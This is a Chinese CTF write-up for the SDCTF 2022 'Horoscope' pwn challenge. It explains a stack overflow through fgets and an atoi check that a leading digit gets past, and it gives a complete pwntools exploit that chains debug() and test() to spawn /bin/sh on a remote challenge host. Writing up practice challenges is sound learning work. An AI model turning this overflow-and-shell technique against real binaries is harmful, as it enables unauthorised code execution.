【pwn】[SDCTF 2022]Horoscope--栈溢出,atoi函数绕过

发布时间 2023-10-28 11:12:50作者: GGBomb

checksec检查一下,发现只开了nx,然后ida打开直接看主函数

发现fgets函数往s里面读入320个字节的数据,此处可造成溢出,再看看test和debug函数

void debug()
{
  temp = 1;
}

 

int test()
{
  int result; // eax

  result = temp;
  if ( temp == 1 )
    return system("/bin/sh");
  return result;
}

test函数可getshell,temp的值可通过调用debug函数赋值

再查看主函数下面那个processInput函数

这里主要的是这个atoi函数,他是将字符串转成有符号的整数,例子如下:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char str1[] = "123";
    char str2[] = "-456";
    char str3[] = "789abc";

    int num1 = atoi(str1);
    int num2 = atoi(str2);
    int num3 = atoi(str3);

    printf("num1 = %d\n", num1);
    printf("num2 = %d\n", num2);
    printf("num3 = %d\n", num3);

    return 0;
}     输出结果如下:

num1 = 123
num2 = -456
num3 = 789

所以这里我们只需要将溢出的数据,第一个字符设置成1-9就可以绕过,成功放回,而不会执行default里面的语句

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote("node5.anna.nssctf.cn",28837)
elf=ELF("./pwn")
test=elf.sym["test"]
debug=elf.sym["debug"]
payload=b'1'+b'a'*(0x30-0x1)+b'a'*(0x8)+p64(debug)+p64(test)

io.recvuntil(b"we will have your very own horoscope\n")
io.sendline(payload)

io.interactive()